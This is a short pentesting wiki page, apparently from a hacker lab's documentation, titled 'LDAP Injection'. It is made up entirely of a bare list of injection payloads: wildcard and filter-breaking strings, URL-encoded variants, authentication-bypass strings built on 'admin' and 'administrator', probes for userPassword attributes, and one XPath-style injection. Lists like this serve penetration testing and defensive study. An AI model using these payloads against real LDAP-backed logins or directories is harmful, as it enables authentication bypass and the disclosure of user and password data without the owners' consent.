> For the complete documentation index, see [llms.txt](https://hackerlab.gitbook.io/wiki.hackerlab.cz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackerlab.gitbook.io/wiki.hackerlab.cz/web-pentesting/ldap-injection.md).

# LDAP Injection

```
!
(
(|(cn=*)(mail=*))
)
)(cn=))\x00
@*
*
* ( ) . & - _ [ ] ` ~ | @ $ % ^ ? : { } ! '
* ( ) \ NUL
*()|&'
*()|%26'
*(|(mail=*))
*(|(objectclass=*))
*)(&
*)(cn=*
*)(commonName=*
*)(givenName=*
*)(mail=*
*)(name=*
*)(objectClass=*
*)(sn=*
*)(surname=*
*)(uid=*
*)(uid=*))(|(uid=*
*)(userPassword=*
*))%00
*/*
*|
/
//
//*
&
%21
%26
%28
%29
%2A%28%7C%28mail%3D%2A%29%29
%2A%28%7C%28objectclass%3D%2A%29%29
%2A%7C
%7C
`(&(uid=*)(password=*))`
|
admin)(!(&(1=0
admin*
admin*)((|userPassword=*)
administrator)(password=*))
void)(objectClass=void))(&(objectClass=void)(type=Epson*))
x' or name()='username' or 'x'='y
```